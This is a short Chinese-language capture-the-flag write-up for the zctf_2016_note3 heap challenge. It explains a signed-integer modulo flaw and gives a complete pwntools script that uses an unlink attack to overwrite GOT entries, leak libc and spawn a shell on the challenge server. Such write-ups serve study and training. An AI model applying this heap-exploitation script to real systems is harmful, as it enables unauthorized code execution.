image.png
    image.png
    这个地方有漏洞我是真不知道
    这里有个很奇怪的数字
    0x8000000000000000
    因为v0是int 64然后这里对7取余就会-1
    然后看一眼堆空间
    image.png
    我们让v0为-1然后申请完七个堆块我们的size就是地址值就是一个很大的数字然后就用unlink改free的got表为put然后就能泄露我们的libc了

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. io =process('./zctf_2016_note3')
    6. io = remote("node4.buuoj.cn",26937)
    7. elf = ELF('./zctf_2016_note3')
    8. libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
    9. #libc = ELF('libc-2.23.so')
    10. def debug():
    11. gdb.attach(io)
    12. pause()
    13. def creat(length,value):
    14. io.sendlineafter("option--->>","1")
    15. io.sendlineafter("Input the length of the note content:(less than 1024)",str(length))
    16. io.sendlineafter("nput the note content:",value)
    17. def edit(id,value):
    18. io.sendlineafter("option--->>","3")
    19. io.sendlineafter("Input the id of the note:",str(id))
    20. io.sendlineafter("Input the new content:",value)
    21. def free(id):
    22. io.sendlineafter("option--->>","4")
    23. io.sendlineafter("Input the id of the note:",str(id))
    24. creat(0x100,"aaa")
    25. creat(0x100,"bbb")
    26. creat(0x10,"ccc")
    27. creat(0x10,"ddd")
    28. creat(0x10,"eee")
    29. creat(0x10,"fff")
    30. creat(0x10,"ggg")
    31. free(0)
    32. creat(0x100,"aaaa")
    33. ptr = 0x6020c0+8
    34. payload = p64(0) + p64(0x101)
    35. payload += p64(ptr- 0x18) + p64(ptr - 0x10)
    36. payload = payload.ljust(0x100,'a')
    37. payload += p64(0x100) + p64(0x110)
    38. edit(0x8000000000000000 - 0x10000000000000000,payload)
    39. free(1)
    40. free_got = elf.got["free"]
    41. puts_got = elf.got["puts"]
    42. puts_plt = elf.plt["puts"]
    43. atoi_got = elf.got["atoi"]
    44. bin_sh_addr = 0x0000000000400f5d
    45. payload = p64(0)*3+ p64(free_got)+p64(puts_got) + p64(atoi_got)
    46. edit(0,payload)
    47. io.sendlineafter("option--->>","3")
    48. io.sendlineafter("Input the id of the note:","0")
    49. io.sendafter("Input the new content:",p64(puts_plt)[0:7]+"\n")
    50. free(1)
    51. puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    52. log.info("puts_addr------------>"+hex(puts_addr))
    53. libcbase = puts_addr - libc.sym["puts"]
    54. log.info("libcbase------------>"+hex(libcbase))
    55. system_addr = libcbase + libc.sym["system"]
    56. log.info("system_addr------------->"+hex(system_addr))
    57. io.sendlineafter("option--->>","3")
    58. io.sendlineafter("Input the id of the note:","2")
    59. io.sendafter("Input the new content:",p64(system_addr)[0:7]+"\n")
    60. io.sendline("/bin/sh\x00")
    61. #debug()
    62. #debug()
    63. io.interactive()